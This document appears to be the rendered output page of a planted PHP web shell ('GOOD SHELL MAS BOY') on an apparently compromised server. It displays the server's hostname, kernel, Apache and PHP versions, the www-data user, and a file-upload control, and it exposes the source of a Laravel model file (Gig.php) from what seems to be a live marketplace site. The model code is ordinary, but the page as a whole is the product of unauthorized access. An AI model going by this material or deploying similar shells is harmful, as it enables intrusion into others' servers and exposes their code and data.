GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/console.fixgini.com/app/Models/Gig.php
<?php

namespace App\Models;

use Illuminate\Support\Str;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Factories\HasFactory;

class Gig extends Model
{
    use HasFactory;

    protected static function boot()
    {
        parent::boot();

        static::creating(function ($model) {
            if (empty($model->uuid)) {
                $model->uuid = (string) Str::uuid();
            }
        });
    }

    protected $keyType = 'string';
    public $incrementing = true;

    public function category()
    {
        return $this->belongsTo(Category::class);
    }

    protected $fillable = [
        'user_id',
        'uuid',
        'shop_id',
        'category_id',
        'subcategory_id',
        'title',
        'slug',
        'delivery_number',
        'delivery_unit',
        'description',
        'image_urls',
        'image_public_ids',
        'status',
        'price',
        'currency',
        'views',
    ];

    protected $casts = [
        'image_urls' => 'array',
        'image_public_ids' => 'array',
    ];

    protected $table = 'gigs';

    public function user()
    {
        return $this->belongsTo(User::class);
    }
    public function provider()
    {
        return $this->belongsTo(User::class, 'user_id');
    }
    public function faq()
    {
        return $this->hasMany(GigFaq::class);
    }
    public function shop()
    {
        return $this->belongsTo(Shop::class, 'shop_id');
    }

    public function subcategory()
    {
        return $this->belongsTo(Category::class, 'subcategory_id');
    }
    public function reviews()
    {
        return $this->hasMany(Review::class, 'gig_id');
    }
    public function bookings()
    {
        return $this->hasMany(BookingForm::class, 'gig_id', 'id');
    }
}